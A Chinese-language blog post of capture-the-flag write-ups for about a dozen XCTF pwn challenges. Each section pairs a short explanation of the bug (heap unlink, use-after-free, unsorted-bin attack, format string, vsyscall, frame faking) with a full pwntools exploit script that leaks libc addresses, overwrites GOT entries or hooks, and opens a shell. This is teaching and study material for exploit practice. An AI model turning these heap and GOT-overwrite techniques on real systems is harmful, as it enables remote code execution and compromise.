攻防世界-pwn进阶

note-service2

数组越界、chunk数据结构

存在数组越界的漏洞,且NX保护关闭,堆栈可执行。思路:申请一些堆块并写入shellcode,将free函数的got表修指向堆块shell,调用该函数时运行shellcode。

image-20230329154647206

⭐chunk

在程序的执行过程中,我们称由 malloc 申请的内存为 chunk 。这块内存在 ptmalloc 内部用 malloc_chunk 结构体来表示。c函数申请堆内存时,可以使用的内存的起始地址是从fd成员开始的,所以用户无法访问结构体的前两个成员。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
/*
This struct declaration is misleading (but accurate and necessary).
It declares a "view" into memory allowing access to necessary
fields at known offsets from a given base. See explanation below.
*/
struct malloc_chunk {

INTERNAL_SIZE_T prev_size; /* Size of previous chunk (if free). */
INTERNAL_SIZE_T size; /* Size in bytes, including overhead. */

struct malloc_chunk* fd; /* double links -- used only if free. */
struct malloc_chunk* bk;

/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if free. */
struct malloc_chunk* bk_nextsize;
};

当用户申请size大小的堆块时,在glibc中本质上是申请了size+16大小(64位系统中)的内存,因为要加上前两个成员。

例如:malloc(0x10),申请了0x10大小的堆内存,本质上在glibc中申请了0x10+0x10=0x20大小的空间。malloc的堆块大小在glibc中会加上前两个成员的大小,所以当你分配一个堆内存时,堆内存的最小大小一定为0x20(0x10+0x10)。

chunk 的大小必须是 2 * SIZE_SZ 的整数倍。如果申请的内存大小不是 2 * SIZE_SZ 的整数倍,会被转换满足大小的最小的 2 * SIZE_SZ 的倍数。32 位系统中,SIZE_SZ 是 4;64 位系统中,SIZE_SZ 是 8。

现在我们想从 chunk0 的data区 jmp 跳到 chunk1 的 data 区执行新代码,那么我们 jmp short 后面的偏移为1+8+8+8=25=0x19,即\xeb\x19。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from pwn import *

context.log_level='debug'
context.update(arch='amd64')
#io=process("./noteservice")
io=remote('223.112.5.156',65298)

def add(index,content):
io.recvuntil("your choice>>")
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline("8") #申请堆块8字节
io.recvuntil("content:")
io.sendline(content)
def dele(index):
io.recvuntil("your choice>>")
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))

#注意:此处asm返回的为bytes,为使得类型统一,后面的字符串要加b前缀
add(0,"/bin/sh")
add(-17,asm("xor rsi,rsi")+b"\x90\x90\xeb\x19") #补齐7字节
add(1,asm("mov eax, 0x3b")+b"\xeb\x19")
add(2,asm("xor rdx, rdx")+b"\x90\x90\xeb\x19")
add(3,asm("syscall").ljust(7,b"\x90")) #左对齐,右侧补/x90 nop机器指令码
dele(0) #菜单4选项,执行修改的free函数,参数为index0(/bin/sh)

io.interactive()

secret_file

汇编、复制栈溢出

image-20230329200310123

1
2
3
4
5
6
7
8
9
from pwn import *
from hashlib import sha256

# r = process("./secret_file")
r = remote('61.147.171.105', 53191)
junk = cyclic(0x100)
payload = junk + b"ls;cat flag.txt;".ljust(27, b" ") + sha256(junk).hexdigest().encode("utf-8")
r.sendline(payload)
r.interactive()

supermarket

堆UAF、realloc

1
2
realloc原型是extern void *realloc(void *mem_address, unsigned int newsize);
先判断当前的指针是否有足够的连续空间,如果有,扩大mem_address指向的地址,并且将mem_address返回,如果空间不够,先按照newsize指定的大小分配空间,将原有数据从头到尾拷贝到新分配的内存区域,而后释放原来mem_address所指内存区域(注意:原来指针是自动释放,不需要使用free),同时返回新分配的内存区域的首地址。即重新分配存储器块的地址。

realloc如果空间不够的话重新分配,当chunk0下面有其他chunk时,就会丢弃原来位置的chunk并free它,然后在最后面再申请一个大于原size的chunk;当chunk0后面没有其他chunk时,就会原地扩充大小。

image-20230330094304618

image-20230330094043125

思路:通过realloc让Node0->description指向Node2,通过修改Node0->description的值从而修改Node2->description指向的内存区域。这个值指向atoi的got地址,从而泄露atoi的地址并修改它为system的got地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *

context(log_level="debug",arch="i386",os="linux")
r = remote("61.147.171.105",50277)
elf = ELF("./supermarket")
libc = ELF("./libc.so.6")
atoi_got = elf.got['atoi']

def add1(index,size,content):
r.sendlineafter('your choice>>','1')
r.sendlineafter('name:',str(index))
r.sendlineafter('price:','10')
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)

def del1(index):
r.sendlineafter('your choice>>','2')
r.sendlineafter('name:',str(index))

def list1():
r.sendlineafter('your choice>>','3')

def edit1(index,size,content):
r.sendlineafter('your choice>>','5')
r.sendlineafter('name:',str(index))
r.sendlineafter('descrip_size:',str(size))
r.sendlineafter('description:',content)

add1(0,0x80,'a'*0x10)
add1(1,0x20,'b'*0x10)
#realloc node0->description
#realloc的空间要比原来node0申请的空间大,UAF
#程序函数中加数据会写入到原chunk(free),再次申请(node2)会出错
edit1(0,0x90,'000')
#将node2分配到node0->description
add1(2,0x20,'d'*0x10)
payload = b'2'.ljust(16,b'\x00') + p32(20) + p32(0x20) + p32(atoi_got)
#realloc返回的指针没有赋给node0->description,即node0->description还是原来的地址,存的是node2
#edit1(0)即编辑node2的结构体,修改node2->description指向atoi的got表
edit1(0,0x80,payload)
list1()
r.recvuntil('2: price.20, des.')
#泄露atoi地址
atoi_addr = u32(r.recv(4))
offset = atoi_addr - libc.symbols['atoi']
system_addr = offset + libc.symbols['system']
#修改atoi的got表指向system
edit1(2,0x20,p32(system_addr))
r.sendafter('your choice>>','/bin/sh\x00')
r.interactive()

4-ReeHY-main-100⭐

参考:https://www.codenong.com/cs109514415/

image-20230330215548423

1
2
3
4
5
6
7
8
9
P:为要取出的chunk指针(指向chunk头)
修改P的fd位为:P - 0x18
修改P的bk位为:P - 0x10
在执行unlink时会检测,(P->fd + 0x18 == P && P-bk + 0x10 ==P),即检测P的下一个chunk的上一个chunk是否为P和P的上一个chunk的下一个chunk是否为P,
即 (P - 0x18 +0x18==P && P - 0x10 + 0x10 ==p) 为真。满足执行unlink条件。
unlink操作为:
P->fd + 0x18 = P->bk ==> P - 0x18 + 0x18 = P - 0x10 ==> P = P - 0x10
P->bk + 0x10 = P->fd ==> P - 0x10 + 0x10 = P - 0x18 ==> P = P - 0x18
所有执行完后就实现了 P = P - 0x18。如果程序将chunk的指针(chunk中用户可编辑区的指针)存储在全局bass段,我们就能得到一个bass地址mem = mem - 0x18,结合对mem指针进行编辑的程序,进而来实现bass段任意写入。

https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *

#io = process('./pwn')
io = remote('61.147.171.105',57614)

def welcome():
io.recvuntil('name: \n$')
io.send('demo')

def create(index,size,content):
io.recvuntil('*********\n$')
io.send('1')
io.recvuntil('Input size\n')
io.send(str(size))
io.recvuntil('Input cun\n')
io.send(str(index))
io.recvuntil('Input content\n')
io.send(content)
def delete(index):
io.recvuntil('*********\n$')
io.send('2')
io.recvuntil('Chose one to dele\n')
io.send(str(index))

def edit(index,content):
io.recvuntil('*********\n$')
io.send('3')
io.recvuntil('to edit\n')
io.send(str(index))
io.recvuntil('the content\n')
io.send(content)

def exp():
system_off = 0x45390
puts_off = 0x6f690
got_addr = 0x602018
p_addr = 0x602100 #第三次create的地址
puts_plt = 0x4006d0

welcome()
create(0,0x20,'/bin/sh\x00')

create(2,0x100,'BBBB')
create(1,0x100,'CCCC')
delete(2)
delete(1)

payload = p64(0)
payload += p64(0x101)
payload += p64(p_addr-0x18)
payload += p64(p_addr-0x10)
payload += b'a'*(0x100-4*8)
payload += p64(0x100)
payload += p64(0x110)

create(2,0x210,payload)
#unlink
delete(1)
#*p = p-0x18 = 0x602100-0x18 = 0x6020e8
payload = p64(1)
payload += p64(got_addr) #1--free()
payload += p64(1)
payload += p64(got_addr+8) #2--puts()
payload += p64(1)
edit(2,payload)

#修改free-->puts
edit(1,p64(puts_plt))
#puts(puts_got)
delete(2)
puts_addr = io.recv(6)
system_addr = u64(puts_addr+b'\x00'*2)-puts_off+system_off
#修改free-->system
edit(1,p64(system_addr))
delete(0)
io.interactive()
exp()

babyfengshui

堆溢出

image-20230331160410543

image-20230331164836314

首先创建一个堆块用来存放description信息,用*S指向它;再创建一个堆块,用*V2指向它,前四个字节存放description的地址,后面用来存放名字name;最后将bss段的ptr[0]指向*V2这个堆块。并将byte_804b069自加1,这个值相当于记录目前一共申请了多少个user。

babyfengshui-1

image-20230331154102144

*本题给的libc有问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from pwn import *

context(arch='i386',os='linux',log_level='debug')
elf = ELF('./babyfengshui')
p = remote("61.147.171.105",55228)

def add_user(size,name,text_length,text):
p.recvuntil("Action: ")
p.sendline(str(0))
p.recvuntil("size of description: ")
p.sendline(str(size))
p.recvuntil("name: ")
p.sendline(name)
p.recvuntil("text length: ")
p.sendline(str(text_length))
p.recvuntil("text: ")
p.sendline(text)

def del_user(user_index):
p.recvuntil("Action: ")
p.sendline(str(1))
p.recvuntil("index: ")
p.sendline(str(user_index))

def disp_user(user_index):
p.recvuntil("Action: ")
p.sendline(str(2))
p.recvuntil("index: ")
p.sendline(str(user_index))

def update_description(user_index,text_length,text):
p.recvuntil("Action: ")
p.sendline(str(3))
p.recvuntil("index: ")
p.sendline(str(user_index))
p.recvuntil("text length: ")
p.sendline(str(text_length))
p.recvuntil("text: ")
p.sendline(text)

add_user(0x10,'name0',0x10,'text0')
add_user(0x10,'name1',0x10,'text1')
del_user(0)
add_user(0x80,'name2',0x80,'text2') #分配index0,name0x80堆

payload = b"/bin/sh\x00"+b"a"*(0xa0 - len("/bin/sh\x00")) + p32(elf.got['free']) #0x80+0x8+0x10+0x8=0xa0,覆盖index1,desc
update_description(2,len(payload),payload)
disp_user(1)
p.recvuntil('description: ')
free_addr = u32(p.recv(4))
#计算栈偏移
libc_base = free_addr - 0x070750
system_addr = libc_base + 0x03a940
# 将free函数的got表项写成system函数地址
update_description(1,4,p32(system_addr))
#执行system('/bin/sh')
del_user(2)
p.interactive()

Noleak⭐

unlink、unsortedbin attack

unsorted_bin是双链表结构,FIFO(先进先出)。arena中fd指向链表首,bk指向链表尾。并且其中的chunk遵循头部插入尾部取出的规则。值得一提的是,首chunk的bk和尾chunk的fd都指向arena。取出尾chunk时会将arena中的bk指向尾chunk的fd,也就是上一个chunk的位置,同时会将上一个chunk的fd改写为arena的地址。这意味着,如果在取出尾部chunk前,我们如果将尾部chunk的bk修改为tartget_addr-0x10(fd被改掉不会直接报错,但是可能会破坏链表),那么在取出后,target的值就会被覆盖为main_arena+0x58的地址。

将**__malloc_hook赋值为某个函数的地址,那么,执行malloc**时,系统就会去调用那个函数。

image-20230402222405169 image-20230402222405169
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

context(arch = "amd64", os = 'linux',log_level='debug')
p = remote("61.147.171.105",61691)
#p = process("./timu")

def add_node(size,data):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data: ")
p.sendline(data)

def update_node(index,size,data):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index:")
p.sendline(str(index))
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data: ")
p.sendline(data)

def delete_node(index):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index:")
p.sendline(str(index))

buf_addr = 0x601040
bss_addr = 0x601020
add_node(0x100,b"a"*0x100)
add_node(0x100,b"b"*0x100)
payload = p64(0) + p64(0x101)
payload += p64(buf_addr-0x18) + p64(buf_addr-0x10) + 0xe0*b"1" + p64(0x100) + p64(0x110)
update_node(0,0x110,payload) #修改chunk0,fake chunk,栈溢出
#unlink,buf_addr=buf_addr-0x18
delete_node(1)
payload = p64(0) + p64(0) + p64(0)
payload += p64(bss_addr) + p64(buf_addr)
payload += p64(0) + p64(0) + p64(0) + p64(0x20)
update_node(0,len(payload),payload) #修改buf[0]即buf_addr即buf_addr-0x18

add_node(0x100,b"c"*0x100)
add_node(0x100,b"d"*0x100)
#free buf[2]进入unsorted bin
delete_node(2)
payload = p64(0) + p64(buf_addr + 0x20)
update_node(2,len(payload),payload) #bk设为buf_addr+0x20
add_node(0x100,b"e"*0x100) #申请得到2的空间,unsorted bin只剩fake buf,main arena+0x58的地址就被留在了buf[6]
#把buf[6]修改为__malloc_hook的地址
payload = p64(bss_addr) + p64(buf_addr)
payload += p64(0) * 4
payload += b"\x10"
update_node(1,len(payload),payload)

#向buf[0]写入shellcode
shellcode = asm(shellcraft.sh())
update_node(0,len(shellcode),shellcode)
#向buf[6]写入shellcode地址
payload = p64(bss_addr)
update_node(6,len(payload),payload)
#gdb.attach(p,"b * 0x40083d")
#执行malloc实际执行shellcode
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size:")
p.sendline("1")
p.interactive()

1000levevls

vsyscall

在开启了ASLR的系统上运行存在PIE保护的程序,意味着所有的地址都是随机化的。然而在某些版本的系统中这个结论并不成立,原因是存在着一个神奇的vsyscall机制。它地址是固定不变的,即使开启了PIE也不会改变。

1
2
cat /proc/self/maps
(gdb)dump memory ./dump 0xffffffffff600000 0xffffffffff601000
image-20230407091650424

image-20230407095051593

栈溢出

image-20230407111450185

2. Hint 中system地址存储在rbp-0x110位置

image-20230407110132195

1. Go中输入0,rbp-0x110遗留的system地址

image-20230407110212092
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch = "amd64", os = 'linux',log_level='debug')
#r = remote("61.147.171.105", 57235)
r=process('./100levels')
libc = ELF("./libc.so")
one_gadget = 0x4526a
system = libc.symbols['system']

print r.recvuntil("Choice:\n")
r.sendline('2')
print r.recvuntil("Choice:\n")
r.sendline('1')
print r.recvuntil("How many levels?\n")
r.sendline('0')
print r.recvuntil("Any more?\n")
r.sendline(str(one_gadget-system))

def calc():
print r.recvuntil("Question: ")
num1 = int(r.recvuntil(" "))
print r.recvuntil("* ")
num2 = int(r.recvuntil(" "))
ans = num1 * num2
print r.recvuntil("Answer:")
r.sendline(str(ans))

for i in range(99):
calc()
print r.recvuntil("Answer:")
payload = 'a' * 0x38 + p64(0xffffffffff600000) * 3
r.send(payload)
r.interactive()

hacknote

UAF

image-20230407191836911

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
from pwn import *

context(arch = "i386", os = 'linux',log_level='debug')
elf = ELF("./hacknote")
p = remote("61.147.171.105",57590)
libc = ELF("libc_32.so.6")
#p = process("./hacknote")
#libc=elf.libc

def BK():
gdb.attach(p)

def Add(size,content):
p.sendlineafter(b'Your choice :',b'1')
p.sendlineafter(b'Note size :',str(size))
p.sendlineafter(b'Content :',content)

def Print(index):
p.sendlineafter(b'Your choice :',b'3')
p.sendlineafter(b'Index :',str(index))

def Del(index):
p.sendlineafter(b'Your choice :',b'2')
p.sendlineafter(b'Index :',str(index))

Add(0x20, "zzzz")
Add(0x20, "zzzz")
Del(0) #free指针堆0、数据堆0,分别进入不同的fastbin
Del(1) #free指针堆1、数据堆1,分别进入不同的fastbin
puts_func_addr = 0x804862B
puts_got = elf.got['puts']
payload = p32(puts_func_addr) + p32(puts_got)
Add(0x8, payload) #使指针堆2=free指针堆1、数据堆2=free指针堆0,写入指针堆0数据
Print(0) #puts puts_got地址
libc_base = u32(p.recv(4)) - libc.sym['puts']
Del(2) #free 2
system_addr = libc_base + libc.sym["system"]
payload = p32(system_addr) + b"||sh"
Add(0x8, payload) #再次申请写入sh
Print(0) #执行system('*system_addr||sh')
p.interactive()

format2

frame faking

image-20230408112655776

image-20230408112717959

思路:auth函数存在栈溢出,但是只能溢出到ebp,但是auth函数和main函数存在两次leave;ret。使用frame faking,使rip指向&input-0x4位置,其中布置好后门地址。

1
2
3
4
5
6
7
8
9
10
11
from pwn import*
import base64

context(log_level = 'debug', arch = 'amd64' , os = 'linux')
system_addr=0x08049284
input_addr=0x0811EB40
io = process("./123")
#io = remote("61.147.171.105", 52218)
paload='a'*4+p32(system_addr)+p32(input_addr)
io.sendline(base64.b64encode(paload))
io.interactive()

dubblesort

逻辑错误发生溢出

read读取数据到缓冲区前,未初始化,没有使用‘\x00’截断,造成数据泄漏;

代码中,scanf函数接收的数据格式为无符号整型%u。“+”和“-”即是合法字符,又不会修改栈上的数据,同时不会影响之后的输入。

image-20230409090124939
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
from pwn import *  

context(arch = "i386", os = 'linux',log_level='debug')
sh = process('./dubblesort',env={"LD_PRELOAD" : "./libc_32.so.6"})
#sh = remote('61.147.171.105', 49333)
libc = ELF('./libc_32.so.6')
off = 0x1AE244
#padding获得libc地址
payload = 'a'*0x1C
sh.sendafter('name :',payload)
sh.recvuntil(payload)
#得到libc基址
libc_base = u32(sh.recv(4)) - off
system_addr = libc_base + libc.sym['system']
binsh_addr = libc_base + libc.search('/bin/sh').next()
print 'libc_base=',hex(libc_base)
print 'system_addr=',hex(system_addr)

sh.sendlineafter('sort :',str(35))

for i in range(24):
sh.sendlineafter('number :',str(0))
#跳过canary
sh.sendlineafter('number :','+')
#填充到ebp 7,+1sysem地址,+1system返回地址
for i in range(9):
sh.sendlineafter('number :',str(system_addr))
sh.sendlineafter('number :',str(binsh_addr))
sh.interactive()

echo_back⭐⭐

格式化字符串、利用scanf内部结构写数据

太难= =

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
from pwn import *

context.log_level='debug'
local=1
if local:
sh=process('./echo_back',env={"LD_PRELOAD" : "./libc.so.6"})
libc=ELF('./libc.so.6')
else:
sh=remote('61.147.171.105', 63480)
libc=ELF('./libc.so.6')

main_addr=0xC6C
pop_rdi_addr=0xD93
stdin_libc=libc.symbols['_IO_2_1_stdin_']
libc_start_main_libc=libc.symbols['__libc_start_main']
system_libc=libc.symbols['system']
bin_sh_libc=libc.search('/bin/sh').next()

def setName(name):
sh.sendlineafter('choice>> ','1')
sh.sendafter('name:',name)

def echoBack(string,length='7\n'):
sh.sendlineafter('choice>> ','2')
sh.sendafter('length:',length)
sh.send(string)

def end():
sh.sendlineafter('choice>> ','3')

#得到libc加载地址
echoBack('%19$p\n')
sh.recvuntil('0x')
libc_start_main_addr=int(sh.recvline(),16)-0xF0
libc_base=libc_start_main_addr-libc_start_main_libc
system_addr=libc_base+system_libc
bin_sh_addr=libc_base+bin_sh_libc
stdin_addr=libc_base+stdin_libc
buf_base=stdin_addr+0x8*7
#得到elf的加载地址
echoBack('%13$p\n')
sh.recvuntil('0x')
elf_base=int(sh.recvline(),16)-0x9C-main_addr
pop_rdi_addr+=elf_base
#得到存放main 返回地址的栈地址
echoBack('%12$p\n')
sh.recvuntil('0x')
main_ret_addr=int(sh.recvline(),16)+0x8
#覆盖IO_buf_base低字节,指向IO_write_base
setName(p64(buf_base))
echoBack('%16$hhn')
#修改_IO_2_1_stdin_结构体
payload=p64(stdin_addr+0x83)*3+p64(main_ret_addr)+p64(main_ret_addr+0x18)
echoBack('\n',payload)
#调用getchar()使 fp->_IO_read_ptr 与使 fp->_IO_read_end 相等
for i in range(0, len(payload) - 1):
sh.sendlineafter('choice>>','2')
sh.sendlineafter('length:','')
#写入rop
payload=p64(pop_rdi_addr)+p64(bin_sh_addr)+p64(system_addr)
echoBack('\n',payload)
end()
sh.interactive()

攻防世界-pwn进阶
http://wangchenchina.github.io/2023/04/09/攻防世界-pwn进阶/
作者
Demo
发布于
2023年4月9日
许可协议